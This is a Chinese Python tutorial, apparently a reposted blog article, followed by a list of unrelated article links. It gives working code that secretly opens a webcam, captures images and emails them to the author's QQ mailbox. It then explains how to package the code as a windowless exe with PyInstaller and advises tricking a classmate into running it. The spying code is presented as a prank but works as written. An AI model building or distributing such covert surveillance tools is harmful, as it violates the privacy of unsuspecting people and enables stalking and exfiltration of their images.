用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
python进阶教程之循环对象
Aug 30 Python
浅析Python编写函数装饰器
Mar 18 Python
python交互式图形编程实例(三)
Nov 17 Python
Python数据分析matplotlib设置多个子图的间距方法
Aug 03 Python
解决pycharm安装后代码区不能编辑的问题
Oct 28 Python
django 外键model的互相读取方法
Dec 15 Python
Python 实现中值滤波、均值滤波的方法
Jan 09 Python
PyCharm+Qt Designer+PyUIC安装配置教程详解
Jun 13 Python
使用python制作一个解压缩软件
Nov 13 Python
Python函数的默认参数设计示例详解
Dec 01 Python
解决redis与Python交互取出来的是bytes类型的问题
Jul 16 Python
Python模拟键盘输入自动登录TGP
Nov 27 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
ninety plus是什么?ninety plus咖啡好吗?
2021/03/04 新手入门
PHP开发文件系统实例讲解
2006/10/09 PHP
php出现Cannot modify header information问题的解决方法大全
2008/04/09 PHP
攻克CakePHP系列二 表单数据显示
2008/10/22 PHP
PHP 利用AJAX获取网页并输出的实现代码(Zjmainstay)
2012/08/31 PHP
PHP实现利用MySQL保存session的方法
2014/08/23 PHP
php+ajax无刷新上传图片实例代码
2015/11/17 PHP
ThinkPHP中create()方法自动验证表单信息
2017/04/28 PHP
不错的JS中变量相关的细节分析
2007/08/13 Javascript
仅Firefox中链接A无法实现模拟点击以触发其默认行为
2011/07/31 Javascript
用jquery和json从后台获得数据集的代码
2011/11/07 Javascript
拥抱模块化的JavaScript
2012/03/07 Javascript
Uglifyjs(JS代码优化工具)入门 安装使用
2020/04/13 Javascript
jQuery+html5+css3实现圆角无刷新表单带输入验证功能代码
2015/08/21 Javascript
javascript实现简单计算器效果【推荐】
2016/04/19 Javascript
js实现界面向原生界面发消息并跳转功能
2016/11/22 Javascript
jQuery Validate 校验多个相同name的方法
2017/05/18 jQuery
JS中call和apply函数用法实例分析
2018/06/20 Javascript
小程序:授权、登录、session_key、unionId的详解
2019/05/15 Javascript
jQuery zTree树插件的使用教程
2019/08/16 jQuery
浅谈关于vue中scss公用的解决方案
2019/12/02 Javascript
vscode中的vue项目报错Property ‘xxx‘ does not exist on type ‘CombinedVueInstance<{ readyOnly...Vetur(2339)
2020/09/11 Javascript
[51:32]Optic vs Serenity 2018国际邀请赛淘汰赛BO3 第一场 8.22
2018/08/23 DOTA
Python中的pprint折腾记
2015/01/21 Python
Python实现的批量下载RFC文档
2015/03/10 Python
python合并已经存在的sheet数据到新sheet的方法
2018/12/11 Python
Python中按键来获取指定的值
2019/03/02 Python
英国领先的酒类网上商城:TheDrinkShop
2017/03/16 全球购物
Fanatics官网:运动服装、球衣、运动装备
2020/10/12 全球购物
学习党课思想汇报
2013/12/29 职场文书
2014婚礼司仪主持词
2014/03/14 职场文书
中学生旷课检讨书2篇
2014/10/09 职场文书
总经理检讨书范文
2015/02/16 职场文书
导游词之无锡唐城
2019/12/12 职场文书
用Python远程登陆服务器的步骤
2021/04/16 Python
node.js使用express-fileupload中间件实现文件上传
2021/07/16 Javascript